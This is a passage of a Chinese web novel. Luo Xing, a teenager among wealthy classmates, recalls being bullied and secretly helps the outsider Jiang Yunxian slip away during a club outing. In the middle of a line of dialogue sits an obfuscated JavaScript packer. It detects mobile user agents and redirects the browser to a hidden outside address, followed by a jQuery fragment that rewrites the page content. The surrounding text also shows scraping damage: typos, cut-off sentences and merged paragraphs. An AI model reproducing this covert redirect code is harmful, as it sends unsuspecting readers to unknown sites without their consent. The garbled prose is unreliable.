禁闭室内没开灯,江云宪面部轮廓被模糊,攻击性不减,眼瞳漆黑,“你来看热闹?” “当然不是,我没那么无聊。”骆星嚼着绿豆冰渣,唇齿间留有冰凉微甜的滋味,向他送去忠告:“跟你动手的那个叫齐礼瑞,以后离他远点吧,是个神经病。” “你认识?” “我跟他初中在同一所学校念的。” 骆星以前在齐礼瑞手里吃过大亏,尽管后来对方道歉了,却还是让人觉得像吞了苍蝇一样恶心。 冰棒上融化的绿豆汁滴在脚边,两只蚂蚁顺着墙缝爬来,围绕深绿色的甜蜜陷阱团团转。 骆星蹲在地上垂着头,用竹签戳它们,不断画圈拦路。 不知道江云宪还有没有在听,她自顾自地提醒:“齐礼瑞喜欢夏榆,他可能是为了替夏榆出气,才针对你。” “夏榆是谁?” “……” 骆星静了两秒,耐着性子道:“王宁甫的表妹,王宁甫跟江家显走很近,小时候一起长大的……夏榆今天戴了顶柠檬黄渔夫帽,颜色很亮,你应该有印象吧?” 黄色渔夫帽,江云宪确实有印象。 对方莫名跑到他面前来问这问那,趾高气昂的,他没搭理她。 骆星想象得出大小姐被无视时气急败坏的样子,“她问你什么了?” “出生年月日。” 骆星明白了,夏榆估计想搞清楚江云宪和江家显两个究竟谁年长,谁是哥哥,谁是弟弟。 “所以呢,你哪年哪月出生的?”骆星明知故问,她其实知道答案。 江云宪来小厘山的第一天,她捡到了他从书包里掉出来的身份证,看清了上面的出生年月日。 “……” “不能说吗,男生的年龄也是秘密?” “那算了。”骆星扔掉竹签,放过地上的蚂蚁,拍拍手站起来。 今晚的大发慈悲,好心提醒,像突发奇想梦游到了禁闭室门外。 江云宪看着面前的磨砂玻璃窗,她的影子如山中精怪拓印在上面,摇晃不定。 他的声音晦暗不明:“为什么要来跟我说这些?” “突发善心嘛,你吓唬齐礼瑞那下,挺爽的,解气。” “你讨厌他?” “非常。” 骆星毫不避讳地暴露记仇且睚眦必报的本性。 “你没再继续盯我了。” “江家显说不用盯了,”骆星看了眼手表,影片快要放完了,她要走了,视线重新投向禁闭室,“你跑不了的。” “我不打算走了。”江云宪说。 骆星大概有点意外,投映到玻璃上的灰色影子偏了偏头,似乎在辨别江云宪话里的真假。 “你能想通那最好了。”她说。 就是不知道信没信。 * 骆星回到影音室的时候,音箱里响起片尾曲,屏幕上黑白字幕滚动,画面不断闪回。 陆续不断有人往外走,响起椅子拖拽和窸窣的脚步声。 江家显仰躺着,脸上盖了本书,声音闷着传来:“上个厕所这么长时间?” 骆星:“便秘。” “……” “裘柯和王宁甫呢?” “楼上,斗地主。” “你不去?” “等你啊。”江家显拿掉罩在脸上的书,突兀地直起身,与旁边椅子上的骆星距离忽然拉得很近。 借着屏幕荧光,骆星能看清他眼睑下的褐色小痣。 她垂下眸光。 江家显把书搁一旁,问她:“今天跟江云宪打架的那个人叫齐礼瑞?怎么感觉名字有点耳熟,像在哪听过。” 骆星的表情顿时变得有点奇怪,“你不记得他?” 江家显疑惑:“我应该记得他?” 骆星沉默了几秒,“他初中跟我们同一所学校,是我隔壁班的,中途转学走了……” 见他仍旧印象不深,骆星只好提醒他:“文龙的干儿子,他管文思叫干姐姐。” 江家显终于在繁杂的人际关系网里捕捉到零星的记忆,与此同时,不知道为什么,感到了一丝心虚。 电影片尾曲播完,屏幕彻底熄了。 有同学打开了影音室的大灯,莹白灯光里,骆星被刺得眯了下眼睛,她笑了笑:“贵人多忘事,他以前还经常跟你攀关系,在外面管你叫哥……” 江家显不承认:“我妈就生了我一个。” 骆星选择止住敏感话题,不再往下聊了。 关于齐礼瑞,骆星的记忆总要比旁人深刻,刀戳在她身上,只有她感觉到疼。 骆星其实是个会暗戳戳记仇的人,有时候她选择不说,但她什么都记得。 就像江家显初见的那句“蠢死了”。 就像刚来洛京时的种种遭遇。 不再提,不代表忘记。 记忆的暗匣收拢了太多秘密,替她筑起高墙,她对所有人设防。 * 四年前。 章连溪身上珠宝首饰繁复,穿着香云纱旗袍倚靠在黄花梨木椅上,翻阅婚礼宴客名单,右手不紧不慢摇着檀香扇。 骆星放学被司机接回家,站在门槛外,章连溪朝她招招手,“快进来。 “新学校怎么样,你刚转学过去,能适应吗?” 骆星放下书包,张嘴咬了口递过来的鲜甜荔枝肉,徐徐香风吹乱她一头短发,“学校环境不错,我刚去一天还没记住路,地方太大了,还得熟悉熟悉。” “同学好相处吗,有没有交到新朋友?” “哪有那么快,大多都还不认识呢。” 章连溪心说也对,转头叮嘱管家,让厨房明早做些点心,让骆星带去学校分给班上同学,借此拉近距离。 第二天清晨,骆星吃完早餐,没等到点心,她以为厨房那边忘了。 去问了一嘴,厨房没人应这件事,各自忙碌着。 骆星杵在富丽堂皇的餐厅里,攥着书包带安静站了一会儿,就在管家以为她会冲去找章连溪告状时,她对镜整理好校服,直接出门了。 当晚章连溪又问骆星在学校有没有交到朋友。 “我让厨房给你做的泡芙塔呢,分给同学了吗?”章连溪知道骆星以前有护食的坏毛病,刨根问底,要得到确切答案,督促她的交友进程。 “分了,他们说好吃。”骆星面不改色地说。 她察觉到管家的视线。 来到孟家,仿佛又重新回到了父母离世不久后寄人篱下的那段时光。 小姨在这个家的处境并不如想象中好,她是高嫁,在外人看来也是攀附,靠爱情维系的这段豪门婚姻能持续多久呢? “等周末了可以带同学来家里玩……” “小姨,”骆星顾左右而言他,“这附近是不是有个跟我差不多大的男生,上次撞见过,今天我又在学校食堂看见他了……” 章连溪听她描述外貌特征,想了一圈,“你说江家的吗,应该是叫家显?” 她初来乍到,也尚未在圈子里混熟,只知道个大概。 透过云层般的浓密树荫,章连溪指了个方向,被幽静绿意覆盖的别墅建筑露出一角。 “那边是江家,离得很近,两家人经常走动,改天叫你姨夫带你过去拜访,认识认识。” 骆星可有可无地应了。 她对新朋友不敢兴趣,甚至有点抗拒。 脑海中浮现出一张跋扈张扬的脸,明黄色球衣像盛夏的烈日般灼眼。 继那日捡球事件之后,骆星屡次在学校新食堂撞见他。他身边总乌泱泱一群人,自发形成一个热闹的圈。 随便拉个同学问问,就能问出他的名字,江家显,太出名了,全校师生都知道他。 永远处在话题中心的人。 学校论坛的匿名贴里,有无数关于他的或隐晦或热烈的告白。 即使后面骆星被姨夫带去江家,被双方长辈郑重其事地介绍认识,她跟江家显也无多少交集。 直至偶然的一天,发生了意外的插曲。 校外研学活动结束,回程途中经过加油站,骆星从排长队的厕所挤出来,发现被自己被落下了。 班委清点人数时出现纰漏,老师和同学都没发现少了个人。 骆星弄清状况以后,给章连溪和班主任分别打了电话。 十来分钟后,倒回来接她的不是学校大巴车,而是一辆通体漆黑的改装卡尔曼,轰鸣疾驰而来,带起飞扬的尘土,刹车在她面前。 副驾车窗降下,露出江家显的脸。 他把墨镜往下扶了扶,抬下巴向骆星示意,“上车。 “你小姨让我来接你。” 越野车型,又高又大。骆星手上拎着水壶,手脚并用地爬了上去。 后座还有两人,一个头靠U型枕,头微往后仰着,乜斜着狭长的狐狸眼,没太睡醒的模样。 一个头发有点炸毛,绿色夹克搭橙黄发带,银灰裤链叮当,浑身上下有点吵眼睛。 两人正往旁边让,留出个位置。 炫黑色充满科技感的内部空间足够宽敞,三人并排坐也不会觉得拥挤,骆星还是贴着车门,尽量缩小自己的占地面积。 “妹妹?”裘柯打量骆星一头有些泛黄的短发,不确定地问她:“是妹妹吧?” 前排的江家显发出嗤笑。 “女的。”骆星说。 她一开口, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14990588|161230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音色干净,语调平稳没有起伏,透出不动声色的疏离,但意外地好听。 “你这打扮,够有个性的。” “我裘柯,”裘柯说,又指了指旁边男生,“他王宁甫。” “你叫什么?” “骆星。” 裘柯尚不清楚她来路,对她充满好奇,老是问东问西。 王宁甫抽出脖子底下的U型扔过去,让他闭嘴。 骆星视线在前后座几人之间暗暗地逡巡,保持警惕。 慢慢的,他们仨聊着自己的话题,过了会儿,开始对司机发起言语轰炸,软磨硬泡,想去踩一角油门过过瘾。 司机应该跟他们相熟,求饶道:“少爷们,别乱来,真要出什么事了我担不起。” 裘柯说:“等我拿驾照了……” 司机立马接茬:“等你拿驾照了再说。” 骆星听着他们插科打诨,很安心地被忽略掉了。 车窗外是陡峭的石壁,山体砂石裸露,山脚下生长着稀疏的茶褐色灌木。 左侧河水湍急,一道笔直无垠的公路仿佛直通天尽头。 骆星悄悄拍了两张风景照发给章连溪,告诉她别担心,自己已经上车了。 那晚江家的司机最后送骆星,到孟家宅子前,江家显鬼使神差地陪她一起进门,说讨口水喝。 “你是哑巴吗?” 江家显说话依旧不怎么客气。 一路无话的骆星停在石径上,草坪的圆形地灯投射出柔和光晕,像许多面古朴铜镜,照见江家显脸上的不悦。 “谢谢你让司机倒回来接我,还送我回家。”骆星说。 “原来不是哑巴。” 江家显轻讽。 进了屋,骆星才发现今天孟家有好多人在。 刚参加完全球公益慈善活动回家的老太太,旁支的亲戚,耄耋年长的,尚在襁褓吱哇大哭的,齐聚一堂,十分之热闹。 对骆星来说大多是陌生面孔,反而江家显熟稔得像在自己家,自如地与长辈们打招呼。 因为骆星和江家显是一起进屋的,年纪相仿,还同校,所有人默认了他们是朋友关系。 骆星察觉到那些审视的目光,和大人们前后微妙的态度变化。往后许多时刻,她体会到跟江家小少爷来往的诸多隐藏福利。 连管家佣人的态度也变了。 骆星像蹒跚学步的孩童,不断摸索着在这个家中适合自己的位置,也慢慢领会其中诀窍。 章连溪误以为她真与江家显交好,乐见其成,数次邀江家显他们来家中做客。 江家显多精明,自小见惯了名利场,他对骆星的那丁点好奇被消磨干净后,也不剩多少耐心。逆反心理作祟,凑上来的,他偏看不上。 他如此,他那个圈子也如此。 接触机会一多,骆星跟裘柯他们更熟了,关系却不如在越野车上见的第一面。 她巴巴凑上去,裘柯笑话她:“你那会儿不是挺拽的吗,坐车上,一声不吭,要跟我们划清界限似的。” “那时候不识抬举,”骆星赔笑,“不知道跟着你们混好处这么多。” 江家显讨厌她这副奴颜婢膝的样子。 “奶奶这周五生日,让你晚上去孟家吃饭。” 其实不必骆星多嘴,以两家的交情,江家显自会跟着长辈前去赴宴。 骆星的传话越发显得别有用心。 江家显无视她,从她身边走过,捎带厌恶的态度,影响了旁人对骆星的态度。 学校同年级的人都知道那个新来的转校生不受江家显待见。 小组作业被刻意无视,体育课组队落单,被同学“不小心”碰掉在地上的书,明明上交了却不翼而飞的试卷……那是骆星霉运缠身的在洛京度过的第一个新学期。 除却这些明里暗里的绊子,骆星受过最严重的伤,源自齐礼瑞。 ——隔壁班的一个男生,跟江家显他们组队踢过球。向来以江家显的朋友自称,也是个鞍前马后的角色。 这在骆星看来,多少有点狐假虎威。 骆星遇到齐礼瑞的概率不高,一次在骆星打扫的包干区,齐礼瑞路过,吐掉的槟榔残渣和唾沫飞溅到光洁的白色地砖上。 一次在集体跑操时,骆星被绊倒。 赤裸裸的,被针对的恶意,即便过去再久,也让人无法忘记。 那天周五,孟老太太的生日晚宴,骆星在医院度过,因为她的右脚骨折。 事情的后续是齐礼瑞来医院道歉,章连溪护犊子,气愤至极,偏偏齐礼瑞认错态度良好,咬定绊倒骆星纯属意外。 他立在病床前不断鞠躬赔小心,诚意满满,叫大人们不好再计较。 只有骆星能看见的角度,男生露出一个吊诡的笑。 眉型短促,突出的颧骨挤压着眼睛,两条法令纹扩展,像悬起的刀,不知下一秒要杀谁。 之后的一段时间,骆星坐轮椅去学校上课。她没去找江家显,江家显反而不习惯,主动来班里找过她一两次。 “脚怎么弄的?” 江家显对齐礼瑞所做的事一无所知,那些因他而起的刻意针对似乎也跟他没有任何关系。 “跑操摔的。” 骆星埋头写作业,手速飞快。 “真有你的。” “有人使绊子,我才摔倒的。”骆星从题海中抬头,迎上江家显的眼睛,“是齐礼瑞。” 江家显抱着球,青春的面庞被汗水浸湿,头发往后梳,露出饱满的额头,那双眼睛里经常流露出不自知的傲慢。 他不在意地点了下头,也不问具体缘由,“那是他不对,叫他来跟你道个歉?” 14、筹谋 那天下午的阳光灼热,日光落在被风荡起的纱帘上,忽明忽灭。 “那是他不对,叫他来跟你道个歉?" 少年还没完全度过变声期,嗓音里像掺了把粗糙的沙子,有些沙哑。 骆星看了江家显几秒,倏然笑了:“不用。 她知道他只是随口一说,她要是当真,才叫蠢。 骆星:“他已经道过歉了,医药费也是他家出的。 江家显点了下头:“那就行。 在他这里,这页便算揭过。 骆星养伤养了段时间,坐轮椅上下学,不久后是升学考试,她面临升学压力,认真投入到复习中,齐礼瑞也没再来找过麻烦, 只听说他跟7班的夏榆告白,被拒绝了。 没多久,传闻又起,说他因为家里的原因转学走了 之后杳无音信,这个名字从骆星的生活中淡出。 直到这次,又在小厘山遇见。 劳动日过后没几天,国学馆要替某卫视非遗传承主题的专栏节目的开机仪式提供一天场地,学生们即将迎来一天宝贵的假期. 放假消息一传出,经老魏亲口认证后,小厘山上沸反盈天,热闹程度堪比过年。 老师们主张人家留在馆内,休息调整,也部分人不听劝,让家长来接,或是自己想尽办法下山。 这么多人里,只有一个特例。 一江云宪。 他跟齐礼瑞动手后,关了两晚禁闭,出来之后就是假期。 老魏也为这么个麻烦存在而发愁,不得不给江子茵打电话请示。 江子茵又把这事推给了江家显。 电话里,江子茵摆出长姐的架势。 “你带着他吧,人都回洛京了,认祖归宗是早晚的事,何况老爷子也发话了。趁这阵子你们都在国学馆,跟他处好关系” 江家显咬牙切齿地冷笑:“我跟他搞好关系?" “家和万事兴。”江子茵意味深长地说,“弟弟。 江子茵和江家显其实是同父异母的姐弟。江子茵的母亲是江万生的原配,因病去世后,江万生娶了第二任妻子,生下江家显 江子茵和江家显打小不对付,长辈们就是用“家和万事兴”“温良恭俭让”来给江子茵施压,叫她包容弟弟 如今倒好,又冒出个私生子。 说不出谁更恶心。 午餐时间,江家显黑着脸回食堂。 聚在长条餐桌前正热火朝天讨论放假安排的众人一时噤声,裘柯看他脸色:“咋了,接个电话把火药桶炸了?" 江家显收敛神色,不答反问:“计划好去哪儿了吗?" “反正不待山上,要下山去。”王宁甫把玩着金属钥匙扣,伸长双腿,状态放松。 夏榆兴致勃勃提议:“哥哥们,陪我去美容院水疗SPA怎么样,刷我的卡,我请客。 “得了吧你。” “不。" “不去。" 提议遭到几个男生的一致反对。 夏榆踢了脚骆星,让她表态:“你呢?" 只顾埋头吃饭的骆星闻言侧了侧脸,弯着纤长白皙的颈,一贯无所谓的态度:“随便。 夏榆:“烦死你们了!" 最后到放假当天上午才拿定主意,去大潭湾俱乐部。那边可玩的东西多,赛车,跑马,温泉,吃喝玩乐样样齐全,夏榆想要的水疗SPA也有, 裘柯负责清点人数,联系好车辆来接- 水儿的豪车张扬地堵在东门外,引警声响彻山林。 “再加一个。”临走前,江家显说。 起初,裘柯没懂他话里的意思。 等江云宪出来,裘柯惊掉下巴,王宁甫眯起狐狸眼,也有点诧异。 只有骆星不觉得意外。 她知道江家显怎么想的,今天把人留在小厘山才危险,不如放自己身边,好看管。 骆星上了车队的最后一辆车,钻进后座。 刚塞上耳机,另一侧的车门被拉开,江云宪跨步上车,坐到了她旁边。 骆星看了他两眼,把散落的帆布包往自己的方向扒了扒,布包的暗扣没扣,保温杯滑溜溜滚出来,朝座椅另一边而去。 被一只手拦住。 虎口卡住不锈钢瓶身。 突起的手指骨节修长,指腹上有薄薄的茧。 骆星不得不靠近些,把保温杯揪回来。她动作很快,意外碰到了那只手。 又迅速回撤。 垂在衣襟前的白色耳机线晃了晃,缠了几个结,在江云宪手上轻轻打了一下。 骆星靠回皮革椅背,耳机里其实没有声音。 司机发动了车。 就在快要出发之前,前面那辆镭射紫超跑降下车窗,一只手探出来,做了个手势,示意再等等。 紧接着,江家显下了车,径直朝后方走来。 上了骆星这辆车的副驾驶位。 对于江家显突然的换车行为,众人觉得奇怪,但也没多问,心思早已放飞,假期来之不易。 头车的裘柯给江家显打了个电话:“江二,能走了吗?" “走。" 江家显说。 他鼻梁上的墨镜往下滑,露出眼睛,从后视镜里不加掩饰地打量后座的两个人。 骆星瘫在座椅上没个正型,宽大的棉麻裤腿堆在膝盖上,出大片褶皱沟壑, 她嚼着薄荷味的口香糖,鼻息清凉,吹出一个标准的圆泡泡。 “阿星,我渴了。”江家显忽然说。 司机提醒他车内储物柜里备有酒水,江家显没反应,仍然坚持问骆星:“你带水了吗,阿星?" 司机看了眼后座的女孩,插嘴道:“她带着耳机呢,估计听不见。" 江家显挑起嘴角,似乎对她了如指掌:“打个赌,她没在听歌,就是想装听不见。 说着往后探身,竟要去扯耳机。 骆星避之不及,把耳机塞回口袋,也不好再装聋,从车内拿了瓶矿泉水扔给江家显。 江家显不满:“要喝保温杯里的。” “我杯里泡的菊花日草,还很烫,你喝不了。” “你上火了?" “嗯,嘴长泡了,喝点清热解毒的。 耳边是时不时响起的对话。 但与江云宪无关,他始终侧脸看向窗外,山中草木幽深,一排排高大松柏之上是蔚蓝的晴空. “啪。" 细微的轻响。 骆星又吹破了两个清凉的泡泡。 江家显朝后伸手,无需多言,骆星放了颗口香糖在他手心。 “叔,你要不?除了薄荷味,还有蓝莓味的。”骆星问司机。 “谢谢啊,我就不嚼了,牙不太好。” 最后骆星也没问江云宪要不要。 江云宪不想要。 他以前在喜糖铺里待得太久,讨厌吃糖。 到了大潭湾,俱乐部经理从门口迎出来,招呼他们进去。 到场的人比想象中多,除了一块儿从小厘山下来的,裘柯还联系了之前的玩伴。 快到用午餐的时间点,一群人直奔餐厅。 厅内摆了些高大的阔叶型热带植物,四季常青,葱郁葳蕤 头顶天花板的位置是一个透明的巨型水族箱, 鱼群摆尾绕过珊瑚礁, 水草飘荡。 自上方投射出瑰丽的光影, 钴蓝的水纹在地板上汩汩流动,如梦似幻, 骆星在餐厅入口处看到了文思。 身形高挑的女人散着卷发,妆容偏黑暗系,新打了两颗眉钉,深灰色紧身露脐吊带,底下是条桃红工装裤 “她怎么也来了?”夏榆面色不善。 这里大部分人不认识文思,见她面生,有对她感兴趣的男生前去搭话 文思爱搭不理,别过头熟练地点了根细长的女士烟,蓝色凤梨爆珠。 夏榆看她不顺眼:“就顾着装酷,在餐厅还抽什么烟,还有没有点公德心?” 路过的服务生正要婉言提醒客人请勿在室内抽烟,江家显从后面进来,文思和他熟稔地碰了下拳。 骆星心思微动,有文思在,江家显多半得陪着,分不出多余的精力关注其他。 果然,江家显和文思约好去跑马场,还问骆星去不去,骆星摇头。 裘柯喊她打保龄球,她也不去,打算去楼上开个房补觉。 身下的大床又软又舒服,陷下去就不想再起来,骆星这一觉睡到了天黑。 拉开窗帘,外面的天空呈现出一种静谧的灰蓝色。云层拥挤,像密林中碳灰色的野生菌群。 底下草坪里的灯光渺渺茫茫,星子般闪烁。 手机欢快地震动,骆星关掉闹钟,仔细检查了一遍帆布包的内袋,确保里面几样东西都没少。 晚上8:10,骆星睡饱养足精神,走出了房间。 她在俱乐部人工湖边找到了江云宪,快走近时,又放慢了脚步,装作偶遇 灰色鸽子落在围栏上,伸头啄江云宪手心的面包屑。风从水面浩荡而来,吹乱了他的头发 四周树梢上的挂灯把周围点亮,湖面和草地上落着一层粼粼的柔光,白昼被延续到了夜晚 骆星没有跟江云宪说话,她把微微发汗的双手插在兜里,像鸽群一样沿着岸边来回踱步。 这里不比小厘山,夜晚暑气不散,空气像从蒸笼里过了一遍,让她觉得闷热 因为现在待在离江云宪很近的地方,她想到之后要做的事,久违地感到心浮气躁, 像第一次翘课去网吧,炎热的夏日午后,在浓密的香樟树荫里翻过了围墙,心脏乱跳个不停。 紧张,忐忑,还有一丝雀跃兴奋。 人在谋划着干点什么坏事的时候,容易肾上腺素飙升。 骆星在脑子里一遍遍放映接下来的计划,再次检查帆布袋里的东西,手机的震动打断了她的思绪,也引来江云宪的侧目。 骆星接通电话,是江家显叫她去吃海鲜大餐。 作为一个对海鲜过敏的人,江家显的话好像在问她要不要吃毒药 他因为自己喜欢吃海鲜,便永远记不住她吃了会过敏,轻则起红疹,严重的话可能会休克。 头汤是泉水松茸,骆星喝完之后就没再动过筷,盯着面前的蓝鳍金枪鱼中腹发呆,里头的干冰远不如小厘山的晨雾漂亮。 从饭南 下午各自在俱乐部里找乐子,晚上人反而聚齐了。 骆星去得比较迟,江家显王宁甫那一圈人爆满,再也挤不进任何多余的人,只剩江云宪旁边还有空位。 今晚的场子里,江云宪的存在就是个谜。 根本没几个认识他,但又都看见了,他是和江家显从同一辆车上下来的。 显然是一道来的,只不过不怎么招江家显待见。 再加上他像个哑巴,自始至终没吭声过,又冷脸,这群玩咖们便对他敬而远之。 骆星挨着江云宪坐下,空间有限,显得两人位置很近,有些亲密。只不过两人零交流,骆星若无其事地刷手机. 包厢这群人里有擅长热场子的,没多久就组织起来玩游戏。 裘柯取一支公杯,倒了半杯鸡尾酒,随后身边闹哄哄争先抢后伸出四五只手,把奶啤、西梅汁、红石榴糖浆全倒进去,杯子被溢满,喷出。 裘柯赶紧叫停:“够了够了,你们这群魔鬼…” 他们玩的游戏叫闹钟炸弹,用手机随机设置一个闹钟,上一个人问完问题,下一个人要回答,同时手机也会传给他。 依次轮下去,闹钟在谁手里响了,谁就要喝掉公杯里兑出的不明液体。 第一局,按从左到右的顺序。 “在场最讨厌谁”“初吻是什么时候”“喜欢的人在不在场”…各种劲爆问题被抛出来,不断引起气氛高潮。 骆星在热闹声里发呆,手里突然被塞过来一只手机。 不知不觉就轮到她了。 她左边是个微胖的男生,圆脸显小,长相有几分喜气,骆星对他印象不深。 不熟的人反而会问得比较客气,男生对骆星说:“手机里最新的一条消息,是谁发给你的?” 骆星直接亮给他看,“卖保险的。” 闹钟还没有响,游戏继续。 骆星把手机递给自己右手边的江云宪,她思索两秒,“说出我的三个优点。” 裘柯大笑着说她白恋,骆星嘴角噙笑,有些像在刻意为难江云宪。 她认为他不会夸她。 这轮游戏已经进行了五六分钟,骆星猜测,闹钟快响了。 “漂亮。” 就在骆星以为江云宪不会回答的时候,冷倦的声线在些微吵闹的背景中响起。 “聪明。" 骆星略感意外地看向江云宪,包厢内偏暗,他的脸被光线分割出几道阴影,看不清眼神。 到第三个优点,江云宪稍微停顿之后,说: “忠诚。 闹钟还没响,江云宪把手机继续往右传。 再轮了两个人,万众期盼的铃声终于响了,输掉游戏的男生在起哄声中站起来,一边干呕一边喝下杯里的液体, 中途,文思从江家显身边站起身,去包厢外安静点的回廊接电话。 文思今晚翘掉了一场重要的直播,公会管理员找她沟通。 但沟通无果,双方语气越来越冲。 玻璃回廊外种了几颗中华木绣球,花团锦簇,开得热闹。 树叶被拨开,露出一张人脸。 “哈喽!" 齐礼瑞冲文思龇牙咧嘴怪笑,咬字顿挫:“干、姐姐。 两家父辈交情深,齐礼瑞刚出生就被文龙认了当干儿子,文思多了个弟弟 齐礼瑞初三那年家里破产后,搬了地方,文思已经有很长时间没见过他。 前不久倒是听说,齐父做生意有东山再起的迹象。 文思挂了管理员的电话,脸色更加差,“你怎么在这儿?" 齐礼瑞促狭地笑起来,镶嵌在三角眼里的豆大眼珠转了转,“跟朋友约了这儿呗,跟你一样,都是来玩的。 齐礼瑞不是跟江家显他们一拨来的,早几年挤不进的圈子,现在依旧将他排斥在外。 而他在新学校认识了新朋友,玩得更加荤素不忌,更出格,也更有意思。 文思嫌恶地拍掉他搭上来的手,手机叮咚响,收到江家显的消息,她把烟咬在红唇间,腾出手回消息 这副模样落在齐礼瑞眼里,他鼻翼两侧法力纹加深,笑得没了眼,“新钓上的凯子?" 文思:“嘴巴放干净点。" 齐礼瑞嬉皮笑脸,意有所指:“他们这群人呐,眼睛都长在天上,哪能真看上你 “不如跟弟弟一块儿玩,有好东西” 说着,他口袋里露出一个银色金属小罐的罐底,文思没看清,他又塞了回去。 包厢里。 游戏又过了两轮,骆星后半程运气变差,手机闹钟在她手里响了,轮到她喝。 裘柯兴奋地发出怪叫,江家显和王宁甫一脸看好戏。 骆星看见夏榆和她闺蜜默默掏出了手机,将摄像头对准她。 骆星神色淡定地端起面前的高脚玻璃杯,随机调配出的液体呈现出一种饱和度很高的蓝色,飘荡着不明絮状物,像某种化学试剂。 “快喝!" “一口干了!" 堆人起哄时,骆星持杯的手不稳地晃了下,向右侧的江云宪倾倒。 蓝色液体泼到他身上,衣服、裤腿洇湿一大片。 “啊,不好意思。”骆星说。 平淡却故作惊讶的语气,实在看不出多少歉意。 江云宪懒怠地垂着眼,被打湿的布料黏着皮肤,像雨天的青苔。被冷气一吹,泛起寒意。 有人说骆星要赖,她装没听见,把杯里只剩一点点的水喝完,含了颗柠檬糖,压一压恶心感,转头似好心劝告江云宪:“喂,你还是去换身衣服吧。 “我让人给你拿身新的。”她说。 江云宪站起身。 屏幕的光从他背影上掠过,乍然照亮,又没入黑暗,他推开包厢门走了出去。 裘柯跟江家显说:“阿星是真讨厌江云宪,肯定是故意泼他身上的。 江家显听闻笑了笑。 文思放下手机,凑过来,“你笑什么?”蓬松的卷发擦过江家显手臂,晚香玉馥郁的芳香浮漾,带着暖昧的气息 江家显挑了挑嘴角,“没什么。 明知道自己因为看骆星给江云宪难堪而心情舒畅,却又不愿承认。 说出口嫌自己幼稚,于是不说。 不知谁嚷了句外面在放烟花,包厢里的人陆续出去看。 烟花从对面的夜色中升腾而起,砰地炸开,姹紫红的光束映亮湖面。 持续了十多分钟的烟花燃放结束后,无数的无人机登场,开始变换颜色和队形。 “今晚什么情况?”裘柯不知什么时候挤到了骆星旁边。 骆星仰头看着天幕,“有人在这边求婚。” 她中午偶然听两个服务生说起,晚九点有位客人会在俱乐部向女友求婚,还是二婚,很波折,故事精彩,情天恨海的一对。 大家都喜欢凑热闹,草坪里站满了围观群众。 江云宪换完衣服下楼,按原路返回之前的包厢。长廊曲折,羊毛地毯吸纳了脚步声,他转头看了眼尽头的长窗,外面灯火潋滟 面前的包厢门厚实沉重,像通往秘密隧道的入口。 门缝中没有泄露一丝光亮,也没有一点声音,静中透出不寻常的诡异。 江云宪推开门时,脑中浮现出一个词——恶作剧。 偌大的包厢里充盈着淡淡的花果熏香,所有灯都熄了,只剩屏幕的荧光微弱地游离 里面杯盘狼藉,空无一人。 茶褐色皮质沙发,他先前坐过的位置上,有只倾倒的高脚玻璃杯,下面压着几样东西: 属于他的身份证、银行卡。 充满电的手机。 和一小叠现金。 15、叛徒 9:30PM 月明星稀, 放飞的粉色气球群消失在天空下。 围观求婚现场结束,骆星跟着熙熙攘攘的人群回到室内。 9:35PM 江家显在玻璃长廊上接到长姐江子茵的电话,质问他打算什么时候回小厘山。 天假期要结束了,按规定,所有人应该在晚上九点前回到国学馆。 但显然他们这群人玩嗨了,忘记了时间,导致老魏又一次找上江子茵。 江家显在电话里软磨硬泡,保证明天早上八点之前会回国学馆,不耽误第二天的课程 江子茵终于松口同意。 10:0OPM 骆星借口说累,回了房间。 她跟章连溪视频了十分钟后,躺在沙发上发了会儿呆,又打开电视, 找了一部老电影看,打发时间 10:25PM 江家显终于发现江云宪不见了踪影,给骆星打电话。 “从他出去换衣服之后, 好像就没见过他了.”江家显回想。 骆星连续按着遥控的音量键,把电视静音,说谎时声音镇定:“我见过。 “在哪儿?”江家显立刻追问。 “酒店走廊。” “什么时候?"“大概二十多分钟前。”骆星拿出那套早就编撰好的说辞,“1112房,我斜对面,他之前应该就是在那间房换的衣服,不是你让经理给的房卡吗?"江云宪被骆星泼湿了衣服,之后的确是江家显示意经理给江云宪开了一间房。"人家早就回房休息了,”骆星嗤笑一声,“哪像你们玩这么嗨。”电话那头还能听见沸反盈天的喧闹。“你们打算通宵?”江家显看向吧台前兴致高昂摇着雪克壶的文思,犹豫了下,“看情况吧。骆星提醒他:“明天八点要到小厘山,我们六点半就得出发。“知道,”江家显说,“你房间离得近,早上集合记得叫上江云宪。”“嗯。”骆星应了,还开了个玩笑,“你不派人盯着,人不会半夜溜了吧?"江家显没放在心上,“东西都扣在小厘山上,没手机,没身份证,没钱,他能跑哪儿去?骆星笑了。1:40AM夜里骆星迟迟睡不着,手机的光让眼睛感到涩痛,她息屏之后摊开手脚,陷在大床里一个突兀的电话打进来,搅乱死水般平静的深夜。骆星接通后,她听见对面说:“我到述洲了。”那声音里透着疲惫沙哑,不太清晰,掺杂着轻微的沙沙电流。骆星沉默了片刻,没有立即出声。因为觉得意外,没想过离开的人会回电话。“为什么帮我?"江云宪打电话来,好像只为了问这个。骆星拨弄着床头灯灯罩上的流苏,手指被缠绕出淡红的勒痕,她听见自己在否认:“不是我。“除了你还有谁?”江云宪反问。空旷的酒店房间外盈满深蓝色的夜空,繁星遥远。骆星的视线从晃荡的流苏上移开,投向窗外。江云宪又一次在手机里追问为什么,异常固执地想要得到答案。骆星只好说:“你就当我心血来潮,或者大发慈悲.…“真没有特别的理由,一时冲动,想帮就帮了。“也可以当我是为了好玩,日子太无聊了,找刺激。"怎样想都行。"她乱七八糟地抛出理由,江云宪那边响起几声拉长的汽笛,他走路时有风声,述洲此刻在下雨。啪嗒,啪嗒,雨点打在伞面上。他静了片刻,说:“原来你也没那么坚定。没那么坚定地选择江家显阵营,可以更改,可以背叛。骆星没有否认,自嘲地笑了:“毕竟狗也有不听话的时候。“那些钱……”江云宪想说还钱的事。被骆星打断:“那些钱是从你身上赚的,江家显给的报酬,给你了,不用还。那一脚足球是她踢的,书包是她拽的,身份证是她捡的,人是她帮忙拦的,观察报